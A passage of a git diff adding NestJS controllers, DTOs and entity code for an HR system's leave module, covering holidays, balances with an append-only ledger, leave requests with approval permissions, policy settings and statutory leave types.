requested dates became three days, " + + "rather than just showing the number.", + }) + @ApiQuery({ name: "start", required: true, example: "2026-09-01" }) + @ApiQuery({ name: "end", required: true, example: "2026-09-14" }) + calendar( + @CurrentUser() user: TCurrentUser, + @Query("start") start: string, + @Query("end") end: string, + ) { + return this.holidaysService.calendar({ start, end }, actorFrom(user)); + } + + @Post() + @HrStaff(HR_PERMS.leave.managePublicHoliday) + @ApiOperation({ summary: "Add an organization holiday" }) + create(@Body() dto: CreateHolidayDto, @CurrentUser() user: TCurrentUser) { + return this.holidaysService.create(dto, actorFrom(user)); + } + + @Patch(":id") + @HrStaff(HR_PERMS.leave.managePublicHoliday) + @ApiOperation({ summary: "Change a holiday" }) + update( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: UpdateHolidayDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.holidaysService.update(id, dto, actorFrom(user)); + } + + @Delete(":id") + @HrStaff(HR_PERMS.leave.managePublicHoliday) + @HttpCode(HttpStatus.NO_CONTENT) + @ApiOperation({ + summary: "Remove an organization holiday", + description: + "National holidays cannot be removed by an individual employer — set " + + "isWorkingDay on it instead if this organization works that day.", + }) + remove( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.holidaysService.remove(id, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/leave/controllers/leave-balances.controller.ts b/apps/edr-hr-api/src/modules/leave/controllers/leave-balances.controller.ts new file mode 100644 index 000000000..a95e08ab2 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/controllers/leave-balances.controller.ts @@ -0,0 +1,168 @@ +import { + Body, + Controller, + ForbiddenException, + Get, + NotFoundException, + Param, + ParseUUIDPipe, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { hasHrPermission } from "../../../common/hr-permission.util"; +import { LeaveBalancesService } from "../services/leave-balances.service"; +import { ELedgerEntryType } from "../entities/leave-ledger-entry.entity"; +import { AdjustBalanceDto, ReverseEntryDto } from "../dto/leave-balance.dto"; + +@ApiTags("leave-balances") +@ApiBearerAuth() +@Controller("leave-balances") +@HrStaff([ + HR_PERMS.leave.viewOwn, + HR_PERMS.leave.viewAll, + HR_PERMS.leave.manageAllocation, +]) +export class LeaveBalancesController { + constructor(private readonly balances: LeaveBalancesService) {} + + @Get("me") + @HrStaff(HR_PERMS.leave.viewOwn) + @ApiOperation({ + summary: "My leave balances", + description: + "Balances for the leave year containing today. Entitlements are created " + + "on first read, so a new joiner sees their allowance immediately rather " + + "than waiting for a nightly job.", + }) + @ApiQuery({ name: "on", required: false, description: "Defaults to today." }) + async mine(@CurrentUser() user: TCurrentUser, @Query("on") on?: string) { + const actor = actorFrom(user); + if (!actor.employeeId) { + throw new ForbiddenException( + "This account has no employee record, so it holds no leave balance.", + ); + } + try { + return await this.balances.balancesFor(actor.employeeId, actor, on); + } catch (error) { + // The service message is written for HR looking someone up, and quotes an + // employee id. Addressed to the person themselves that reads as a fault + // in the system rather than a step somebody still owes them. + if (error instanceof NotFoundException) { + throw new NotFoundException( + "You do not have an HR profile yet, so there is nothing to show. " + + "Ask HR to complete your onboarding.", + ); + } + throw error; + } + } + + @Get("employee/:employeeId") + @HrStaff(HR_PERMS.leave.viewAll) + @ApiOperation({ summary: "Another employee's leave balances" }) + @ApiQuery({ name: "on", required: false }) + forEmployee( + @Param("employeeId", ParseUUIDPipe) employeeId: string, + @CurrentUser() user: TCurrentUser, + @Query("on") on?: string, + ) { + return this.balances.balancesFor(employeeId, actorFrom(user), on); + } + + @Get(":entitlementId/ledger") + @HrStaff(HR_PERMS.leave.viewOwn) + @ApiOperation({ + summary: "Every movement behind a balance", + description: + "The append-only history. This is the answer to 'why is my balance that " + + "number' — grants, carry-over, deductions, expiries and corrections, " + + "newest first.", + }) + async ledger( + @Param("entitlementId", ParseUUIDPipe) entitlementId: string, + @CurrentUser() user: TCurrentUser, + ) { + // Own ledger always; anyone else's needs the view-all key. Checked here + // rather than by a route guard because which rule applies depends on whose + // entitlement it is, and the guard cannot know that before loading it. + const actor = actorFrom(user); + const entries = await this.balances.ledgerFor(entitlementId); + await this.assertLedgerVisible(entitlementId, actor, user); + return entries; + } + + @Post(":entitlementId/adjust") + @HrStaff(HR_PERMS.leave.manageAllocation) + @ApiOperation({ + summary: "Correct a balance", + description: + "Posts a signed ADJUSTMENT entry. Nothing is overwritten and the reason " + + "is mandatory — the ledger is what an argument about a balance is settled " + + "with months later.", + }) + @ApiResponse({ status: 201, description: "The entry that was posted" }) + adjust( + @Param("entitlementId", ParseUUIDPipe) entitlementId: string, + @Body() dto: AdjustBalanceDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.balances.post( + entitlementId, + { + entryType: ELedgerEntryType.ADJUSTMENT, + days: dto.days, + effectiveOn: dto.effectiveOn ?? new Date().toISOString().slice(0, 10), + reason: dto.reason, + }, + actorFrom(user), + ); + } + + @Post("entries/:entryId/reverse") + @HrStaff(HR_PERMS.leave.manageAllocation) + @ApiOperation({ + summary: "Undo one entry", + description: + "Posts the opposite entry rather than deleting. An entry can only be " + + "reversed once — a second attempt is refused by the database, so a " + + "double-click cannot credit the days twice.", + }) + reverse( + @Param("entryId", ParseUUIDPipe) entryId: string, + @Body() dto: ReverseEntryDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.balances.reverse(entryId, dto.reason, actorFrom(user)); + } + + private async assertLedgerVisible( + entitlementId: string, + actor: ReturnType, + user: TCurrentUser, + ): Promise { + if (hasHrPermission(user, HR_PERMS.leave.viewAll)) return; + const owned = await this.balances.entitlementBelongsTo( + entitlementId, + actor.employeeId, + ); + if (!owned) { + throw new ForbiddenException( + "You can only see the history behind your own balances.", + ); + } + } +} diff --git a/apps/edr-hr-api/src/modules/leave/controllers/leave-requests.controller.ts b/apps/edr-hr-api/src/modules/leave/controllers/leave-requests.controller.ts new file mode 100644 index 000000000..6a5c45dd5 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/controllers/leave-requests.controller.ts @@ -0,0 +1,222 @@ +import { + Body, + Controller, + Get, + Param, + ParseIntPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { LeaveRequestsService } from "../services/leave-requests.service"; +import { ELeaveRequestStatus } from "../entities/leave-request.entity"; +import { + CancelLeaveRequestDto, + CreateLeaveRequestDto, + DecideLeaveRequestDto, + RejectLeaveRequestDto, +} from "../dto/leave-request.dto"; + +@ApiTags("leave-requests") +@ApiBearerAuth() +@Controller("leave-requests") +@HrStaff([ + HR_PERMS.leave.create, + HR_PERMS.leave.viewOwn, + HR_PERMS.leave.viewAll, + HR_PERMS.leave.approveL1, + HR_PERMS.leave.approveL2, + HR_PERMS.leave.cancel, +]) +export class LeaveRequestsController { + constructor(private readonly requests: LeaveRequestsService) {} + + @Get("quote") + @HrStaff(HR_PERMS.leave.create) + @ApiOperation({ + summary: "What a range would cost, before requesting it", + description: + "Returns the working-day and calendar-day counts, which holidays fell " + + "inside the range, what would be charged and what would be left. The " + + "leave form calls this as the dates change so the number is never a " + + "surprise.", + }) + @ApiQuery({ name: "employeeId", required: false }) + quote( + @CurrentUser() user: TCurrentUser, + @Query("leaveTypeId", ParseUUIDPipe) leaveTypeId: string, + @Query("startDate") startDate: string, + @Query("endDate") endDate: string, + @Query("isHalfDay") isHalfDay?: string, + @Query("employeeId") employeeId?: string, + ) { + const actor = actorFrom(user); + return this.requests.quote( + employeeId ?? actor.employeeId ?? "", + leaveTypeId, + startDate, + endDate, + isHalfDay === "true", + actor, + ); + } + + @Post() + @HrStaff(HR_PERMS.leave.create) + @ApiOperation({ summary: "Request leave" }) + @ApiResponse({ status: 201, description: "Submitted, awaiting a decision" }) + @ApiResponse({ + status: 400, + description: + "A rule refused it — overlapping dates, insufficient balance, missing " + + "evidence, or a type the employee is not eligible for. The message says which.", + }) + create(@Body() dto: CreateLeaveRequestDto, @CurrentUser() user: TCurrentUser) { + return this.requests.create(dto, actorFrom(user)); + } + + @Get("mine") + @HrStaff(HR_PERMS.leave.viewOwn) + @ApiOperation({ summary: "My leave requests" }) + mine( + @CurrentUser() user: TCurrentUser, + @Query("status") status?: ELeaveRequestStatus, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + const actor = actorFrom(user); + return this.requests.findAll( + { employeeId: actor.employeeId ?? "", status, page, limit }, + actor, + ); + } + + @Get("awaiting-me") + // L1 (line manager) or L2 (HR's role grant, e.g. hr_manager) — approveL1 is + // deliberately never granted to any role/position/position-type (it is + // resolved dynamically below), so gating on it alone made this endpoint, + // and the approvals screen it feeds, unreachable by anyone but a super + // admin. An L2-only caller with no direct reports just gets an empty list. + @HrStaff([HR_PERMS.leave.approveL1, HR_PERMS.leave.approveL2]) + @ApiOperation({ + summary: "Requests waiting on my decision", + description: + "Submitted requests whose approver is this employee — resolved from the " + + "IAM position hierarchy, or the manager override on the HR profile.", + }) + awaitingMe( + @CurrentUser() user: TCurrentUser, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.requests.findAwaitingMe(actorFrom(user), page, limit); + } + + @Get() + @HrStaff(HR_PERMS.leave.viewAll) + @ApiOperation({ summary: "All leave requests" }) + @ApiQuery({ name: "employeeId", required: false }) + @ApiQuery({ name: "status", required: false, enum: ELeaveRequestStatus }) + @ApiQuery({ name: "from", required: false }) + @ApiQuery({ name: "to", required: false }) + findAll( + @CurrentUser() user: TCurrentUser, + @Query("employeeId") employeeId?: string, + @Query("status") status?: ELeaveRequestStatus, + @Query("leaveTypeId") leaveTypeId?: string, + @Query("from") from?: string, + @Query("to") to?: string, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.requests.findAll( + { employeeId, status, leaveTypeId, from, to, page, limit }, + actorFrom(user), + ); + } + + @Get(":id") + @HrStaff(HR_PERMS.leave.viewOwn) + @ApiOperation({ summary: "One leave request" }) + findOne( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.requests.findOne(id, actorFrom(user)); + } + + @Patch(":id/approve") + // L1 or L2 — see the guard on "awaiting-me" above. The service's own + // assertCanDecide() already expects an L2 holder to arrive here ("anyone + // else arriving is HR acting above the line manager — allowed"). + @HrStaff([HR_PERMS.leave.approveL1, HR_PERMS.leave.approveL2]) + @ApiOperation({ + summary: "Approve", + description: + "Deducts the days in the same transaction. The balance is re-checked " + + "first, because other requests may have been approved since this one was " + + "submitted. Nobody can approve their own request.", + }) + approve( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: DecideLeaveRequestDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.requests.approve(id, dto.note, actorFrom(user)); + } + + @Patch(":id/reject") + @HrStaff([HR_PERMS.leave.approveL1, HR_PERMS.leave.approveL2]) + @ApiOperation({ summary: "Reject, with a reason" }) + reject( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: RejectLeaveRequestDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.requests.reject(id, dto.note, actorFrom(user)); + } + + @Patch(":id/withdraw") + @HrStaff(HR_PERMS.leave.create) + @ApiOperation({ + summary: "Withdraw before a decision", + description: "Nothing was deducted, so nothing comes back.", + }) + withdraw( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.requests.withdraw(id, actorFrom(user)); + } + + @Patch(":id/cancel") + @HrStaff(HR_PERMS.leave.cancel) + @ApiOperation({ + summary: "Cancel approved leave", + description: + "Reverses the deduction so the days return. The reversal is posted, not " + + "deleted — the balance history keeps showing that the leave was booked " + + "and then called off.", + }) + cancel( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: CancelLeaveRequestDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.requests.cancel(id, dto.reason, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/leave/controllers/leave-settings.controller.ts b/apps/edr-hr-api/src/modules/leave/controllers/leave-settings.controller.ts new file mode 100644 index 000000000..07f3e613c --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/controllers/leave-settings.controller.ts @@ -0,0 +1,49 @@ +import { Body, Controller, Get, Patch } from "@nestjs/common"; +import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { LeaveSettingsService } from "../services/leave-settings.service"; +import { UpdateLeaveSettingsDto } from "../dto/leave-settings.dto"; + +@ApiTags("leave-settings") +@ApiBearerAuth() +@Controller("leave-settings") +@HrStaff([HR_PERMS.leave.manageType, HR_PERMS.leave.viewOwn]) +export class LeaveSettingsController { + constructor(private readonly settingsService: LeaveSettingsService) {} + + @Get() + // Readable by anyone who can request leave: the weekend definition is what + // turns their dates into a day count, so hiding it makes the number arbitrary. + @HrStaff(HR_PERMS.leave.viewOwn) + @ApiOperation({ + summary: "This organization's leave policy", + description: + "Returns defaults when nothing has been configured — a row is only written " + + "once somebody changes something, so an unconfigured organization stays " + + "distinguishable from one that happens to agree with the defaults.", + }) + find(@CurrentUser() user: TCurrentUser) { + return this.settingsService.find(actorFrom(user)); + } + + @Patch() + @HrStaff(HR_PERMS.leave.manageType) + @ApiOperation({ + summary: "Change the leave policy", + description: + "Creates the row on first change. Note weekendDays: the statutory day " + + "figures assume a six-day week, so an employer working Monday–Friday must " + + "set [0,6] here for the counts to mean what the statute intends.", + }) + update( + @Body() dto: UpdateLeaveSettingsDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.settingsService.update(dto, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/leave/controllers/leave-types.controller.ts b/apps/edr-hr-api/src/modules/leave/controllers/leave-types.controller.ts new file mode 100644 index 000000000..8d13c5d02 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/controllers/leave-types.controller.ts @@ -0,0 +1,121 @@ +import { + Body, + Controller, + Delete, + Get, + HttpCode, + HttpStatus, + Param, + ParseIntPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { LeaveTypesService } from "../services/leave-types.service"; +import { CreateLeaveTypeDto, UpdateLeaveTypeDto } from "../dto/leave-type.dto"; + +@ApiTags("leave-types") +@ApiBearerAuth() +@Controller("leave-types") +@HrStaff([HR_PERMS.leave.manageType, HR_PERMS.leave.viewOwn]) +export class LeaveTypesController { + constructor(private readonly leaveTypesService: LeaveTypesService) {} + + @Post() + @HrStaff(HR_PERMS.leave.manageType) + @ApiOperation({ summary: "Add a leave type" }) + create(@Body() dto: CreateLeaveTypeDto, @CurrentUser() user: TCurrentUser) { + return this.leaveTypesService.create(dto, actorFrom(user)); + } + + @Post("seed-statutory") + @HrStaff(HR_PERMS.leave.manageType) + @HttpCode(HttpStatus.OK) + @ApiOperation({ + summary: "Seed the statutory catalogue", + description: + "Creates the leave types set out in Labour Proclamation 1156/2019. " + + "Idempotent by code, and existing types are never modified — an employer " + + "who has edited a figure keeps their edit.", + }) + @ApiResponse({ status: 200, description: "{ created: [], skipped: [] }" }) + seed(@CurrentUser() user: TCurrentUser) { + return this.leaveTypesService.seedStatutory(actorFrom(user)); + } + + @Get() + // Anyone who can request leave needs the catalogue to choose from. + @HrStaff(HR_PERMS.leave.viewOwn) + @ApiOperation({ summary: "List leave types" }) + @ApiQuery({ name: "search", required: false }) + @ApiQuery({ name: "isActive", required: false, type: Boolean }) + findAll( + @CurrentUser() user: TCurrentUser, + @Query("search") search?: string, + @Query("isActive") isActive?: string, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.leaveTypesService.findAll( + { + search, + isActive: isActive === undefined ? undefined : isActive === "true", + page, + limit, + }, + actorFrom(user), + ); + } + + @Get(":id") + @HrStaff(HR_PERMS.leave.viewOwn) + @ApiOperation({ summary: "One leave type" }) + findOne( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.leaveTypesService.findOne(id, actorFrom(user)); + } + + @Patch(":id") + @HrStaff(HR_PERMS.leave.manageType) + @ApiOperation({ summary: "Change a leave type" }) + update( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: UpdateLeaveTypeDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.leaveTypesService.update(id, dto, actorFrom(user)); + } + + @Delete(":id") + @HrStaff(HR_PERMS.leave.manageType) + @HttpCode(HttpStatus.NO_CONTENT) + @ApiOperation({ + summary: "Retire a leave type", + description: + "Soft delete. Requests and balances already recorded against it keep " + + "resolving — deactivating (isActive: false) is the gentler option and " + + "removes it from pickers without touching history.", + }) + remove( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.leaveTypesService.remove(id, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/leave/dto/holiday.dto.ts b/apps/edr-hr-api/src/modules/leave/dto/holiday.dto.ts new file mode 100644 index 000000000..9c1e5152a --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/dto/holiday.dto.ts @@ -0,0 +1,49 @@ +import { ApiProperty, ApiPropertyOptional, PartialType } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsBoolean, + IsDateString, + IsEnum, + IsObject, + IsOptional, + ValidateNested, +} from "class-validator"; + +import { EHolidayType } from "../entities/holiday.entity"; +import { LocalizedTextDto } from "./leave-type.dto"; + +export class CreateHolidayDto { + @ApiProperty({ format: "date", example: "2026-09-11" }) + @IsDateString() + observedOn!: string; + + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + name!: LocalizedTextDto; + + @ApiPropertyOptional({ enum: EHolidayType, default: EHolidayType.PUBLIC }) + @IsOptional() + @IsEnum(EHolidayType) + holidayType?: EHolidayType; + + @ApiPropertyOptional({ + default: false, + description: + "True for lunar holidays whose date is not confirmed until close to the day.", + }) + @IsOptional() + @IsBoolean() + isEstimated?: boolean; + + @ApiPropertyOptional({ + default: false, + description: "Observed but still worked — the day does not close the office.", + }) + @IsOptional() + @IsBoolean() + isWorkingDay?: boolean; +} + +export class UpdateHolidayDto extends PartialType(CreateHolidayDto) {} diff --git a/apps/edr-hr-api/src/modules/leave/dto/leave-balance.dto.ts b/apps/edr-hr-api/src/modules/leave/dto/leave-balance.dto.ts new file mode 100644 index 000000000..6d627d20e --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/dto/leave-balance.dto.ts @@ -0,0 +1,52 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { + IsDateString, + IsNumber, + IsOptional, + IsString, + MaxLength, +} from "class-validator"; + +import { ELedgerEntryType } from "../entities/leave-ledger-entry.entity"; + +export class AdjustBalanceDto { + @ApiProperty({ + description: + "Signed. Positive credits days, negative removes them. Posted as an " + + "ADJUSTMENT entry — nothing is overwritten.", + example: -2.5, + }) + @IsNumber() + days!: number; + + @ApiProperty({ + maxLength: 256, + description: "Required. An unexplained adjustment is indefensible later.", + }) + @IsString() + @MaxLength(256) + reason!: string; + + @ApiPropertyOptional({ format: "date", description: "Defaults to today." }) + @IsOptional() + @IsDateString() + effectiveOn?: string; +} + +export class ReverseEntryDto { + @ApiProperty({ maxLength: 256 }) + @IsString() + @MaxLength(256) + reason!: string; +} + +export class LedgerEntryResponseDto { + @ApiProperty() id!: string; + @ApiProperty({ enum: ELedgerEntryType }) entryType!: ELedgerEntryType; + @ApiProperty({ description: "Signed days." }) days!: string; + @ApiProperty({ format: "date" }) effectiveOn!: string; + @ApiPropertyOptional() reason?: string | null; + @ApiPropertyOptional() sourceType?: string | null; + @ApiPropertyOptional() sourceId?: string | null; + @ApiPropertyOptional() reversesId?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/leave/dto/leave-request.dto.ts b/apps/edr-hr-api/src/modules/leave/dto/leave-request.dto.ts new file mode 100644 index 000000000..10b6ef16d --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/dto/leave-request.dto.ts @@ -0,0 +1,88 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { + IsBoolean, + IsDateString, + IsOptional, + IsString, + IsUUID, + MaxLength, +} from "class-validator"; + +export class CreateLeaveRequestDto { + @ApiPropertyOptional({ + format: "uuid", + description: + "iam.employees.id. Omit to file for yourself; supplying someone else's " + + "is an HR action and needs a staff account.", + }) + @IsOptional() + @IsUUID() + employeeId?: string; + + @ApiProperty({ format: "uuid" }) + @IsUUID() + leaveTypeId!: string; + + @ApiProperty({ format: "date", example: "2026-09-14" }) + @IsDateString() + startDate!: string; + + @ApiProperty({ format: "date", example: "2026-09-18" }) + @IsDateString() + endDate!: string; + + @ApiPropertyOptional({ + default: false, + description: "Only for a single date, and only if the type allows it.", + }) + @IsOptional() + @IsBoolean() + isHalfDay?: boolean; + + @ApiPropertyOptional({ maxLength: 512 }) + @IsOptional() + @IsString() + @MaxLength(512) + reason?: string; + + @ApiPropertyOptional({ maxLength: 64, description: "Phone number while away." }) + @IsOptional() + @IsString() + @MaxLength(64) + contactDuringLeave?: string; + + @ApiPropertyOptional({ + format: "uuid", + description: + "hr.employee_documents.id — the medical certificate or equivalent. " + + "Required when the type demands evidence beyond a threshold.", + }) + @IsOptional() + @IsUUID() + attachmentDocumentId?: string; +} + +export class DecideLeaveRequestDto { + @ApiPropertyOptional({ maxLength: 512 }) + @IsOptional() + @IsString() + @MaxLength(512) + note?: string; +} + +export class RejectLeaveRequestDto { + @ApiProperty({ + maxLength: 512, + description: "Required — a refusal without a reason is not actionable.", + }) + @IsString() + @MaxLength(512) + note!: string; +} + +export class CancelLeaveRequestDto { + @ApiProperty({ maxLength: 512 }) + @IsString() + @MaxLength(512) + reason!: string; +} diff --git a/apps/edr-hr-api/src/modules/leave/dto/leave-settings.dto.ts b/apps/edr-hr-api/src/modules/leave/dto/leave-settings.dto.ts new file mode 100644 index 000000000..a5966b26a --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/dto/leave-settings.dto.ts @@ -0,0 +1,74 @@ +import { ApiPropertyOptional } from "@nestjs/swagger"; +import { + ArrayMaxSize, + IsArray, + IsBoolean, + IsEnum, + IsInt, + IsOptional, + IsString, + Max, + MaxLength, + Min, +} from "class-validator"; + +import { ELeaveYearBasis } from "../entities/leave-settings.entity"; + +export class UpdateLeaveSettingsDto { + @ApiPropertyOptional({ enum: ELeaveYearBasis }) + @IsOptional() + @IsEnum(ELeaveYearBasis) + leaveYearBasis?: ELeaveYearBasis; + + @ApiPropertyOptional({ minimum: 1, maximum: 12, default: 7 }) + @IsOptional() + @IsInt() + @Min(1) + @Max(12) + fiscalYearStartMonth?: number; + + @ApiPropertyOptional({ minimum: 1, maximum: 31, default: 8 }) + @IsOptional() + @IsInt() + @Min(1) + @Max(31) + fiscalYearStartDay?: number; + + @ApiPropertyOptional({ + type: [Number], + example: [0, 6], + description: + "Non-working days of the week, 0 = Sunday … 6 = Saturday. Defaults to [0], " + + "the six-day week the statutory leave figures assume. Set [0,6] for a " + + "Monday–Friday employer.", + }) + @IsOptional() + @IsArray() + @ArrayMaxSize(6) + @IsInt({ each: true }) + @Min(0, { each: true }) + @Max(6, { each: true }) + weekendDays?: number[]; + + @ApiPropertyOptional({ minimum: 0, maximum: 24, default: 6 }) + @IsOptional() + @IsInt() + @Min(0) + @Max(24) + carryOverDeadlineMonths?: number; + + @ApiPropertyOptional({ + default: false, + description: + "Whether a request may be approved that takes a balance below zero.", + }) + @IsOptional() + @IsBoolean() + allowNegativeBalance?: boolean; + + @ApiPropertyOptional({ maxLength: 64 }) + @IsOptional() + @IsString() + @MaxLength(64) + statuteReference?: string; +} diff --git a/apps/edr-hr-api/src/modules/leave/dto/leave-type.dto.ts b/apps/edr-hr-api/src/modules/leave/dto/leave-type.dto.ts new file mode 100644 index 000000000..18c0c4537 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/dto/leave-type.dto.ts @@ -0,0 +1,151 @@ +import { ApiProperty, ApiPropertyOptional, PartialType } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsBoolean, + IsEnum, + IsInt, + IsNotEmpty, + IsNumberString, + IsObject, + IsOptional, + IsString, + Max, + MaxLength, + Min, + ValidateNested, +} from "class-validator"; + +import { + EAccrualMethod, + EGenderRestriction, +} from "../entities/leave-type.entity"; + +export class LocalizedTextDto { + @ApiProperty() @IsString() @IsNotEmpty() am!: string; + @ApiProperty() @IsString() @IsNotEmpty() en!: string; +} + +export class CreateLeaveTypeDto { + @ApiProperty({ maxLength: 32, example: "ANNUAL" }) + @IsString() + @IsNotEmpty() + @MaxLength(32) + code!: string; + + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + name!: LocalizedTextDto; + + @ApiPropertyOptional({ type: LocalizedTextDto }) + @IsOptional() + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + description?: LocalizedTextDto; + + @ApiPropertyOptional({ default: true }) + @IsOptional() + @IsBoolean() + isPaid?: boolean; + + @ApiPropertyOptional({ enum: EAccrualMethod, default: EAccrualMethod.ANNUAL_ENTITLEMENT }) + @IsOptional() + @IsEnum(EAccrualMethod) + accrualMethod?: EAccrualMethod; + + // Day figures are numeric strings, matching how pg returns numeric — passing + // them as JS numbers is how a 0.5-day balance becomes 0.49999999999999994. + @ApiPropertyOptional({ example: "16.00" }) + @IsOptional() + @IsNumberString() + baseDaysPerYear?: string; + + @ApiPropertyOptional({ example: "1.00" }) + @IsOptional() + @IsNumberString() + extraDaysPerPeriod?: string; + + @ApiPropertyOptional({ minimum: 0, maximum: 50, example: 2 }) + @IsOptional() + @IsInt() + @Min(0) + @Max(50) + servicePeriodYears?: number; + + @ApiPropertyOptional({ nullable: true }) + @IsOptional() + @IsNumberString() + maxDaysPerYear?: string | null; + + @ApiPropertyOptional({ example: "16.00" }) + @IsOptional() + @IsNumberString() + maxCarryOverDays?: string; + + @ApiPropertyOptional({ nullable: true }) + @IsOptional() + @IsNumberString() + maxConsecutiveDays?: string | null; + + @ApiPropertyOptional({ minimum: 0, maximum: 240, default: 0 }) + @IsOptional() + @IsInt() + @Min(0) + @Max(240) + minServiceMonths?: number; + + @ApiPropertyOptional({ enum: EGenderRestriction, default: EGenderRestriction.ANY }) + @IsOptional() + @IsEnum(EGenderRestriction) + genderRestriction?: EGenderRestriction; + + @ApiPropertyOptional({ + default: true, + description: + "False for types counted in consecutive calendar days, such as maternity.", + }) + @IsOptional() + @IsBoolean() + countsWorkingDaysOnly?: boolean; + + @ApiPropertyOptional({ default: false }) + @IsOptional() + @IsBoolean() + allowsHalfDay?: boolean; + + @ApiPropertyOptional({ + nullable: true, + description: "Days beyond which evidence is mandatory. Null = never.", + }) + @IsOptional() + @IsNumberString() + requiresAttachmentAfter?: string | null; + + @ApiPropertyOptional({ default: true }) + @IsOptional() + @IsBoolean() + requiresApproval?: boolean; + + @ApiPropertyOptional({ maxLength: 64, example: "Proc. 1156/2019 Art. 77" }) + @IsOptional() + @IsString() + @MaxLength(64) + statuteReference?: string | null; + + @ApiPropertyOptional({ default: 100 }) + @IsOptional() + @IsInt() + @Min(0) + @Max(1000) + sortOrder?: number; + + @ApiPropertyOptional({ default: true }) + @IsOptional() + @IsBoolean() + isActive?: boolean; +} + +/** `code` stays editable: unlike an employee id it identifies nothing external. */ +export class UpdateLeaveTypeDto extends PartialType(CreateLeaveTypeDto) {} diff --git a/apps/edr-hr-api/src/modules/leave/entities/holiday.entity.ts b/apps/edr-hr-api/src/modules/leave/entities/holiday.entity.ts new file mode 100644 index 000000000..261ffcf27 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/entities/holiday.entity.ts @@ -0,0 +1,61 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm"; + +export enum EHolidayType { + PUBLIC = "PUBLIC", + RELIGIOUS = "RELIGIOUS", + /** An employer's own closure — not a national holiday. */ + 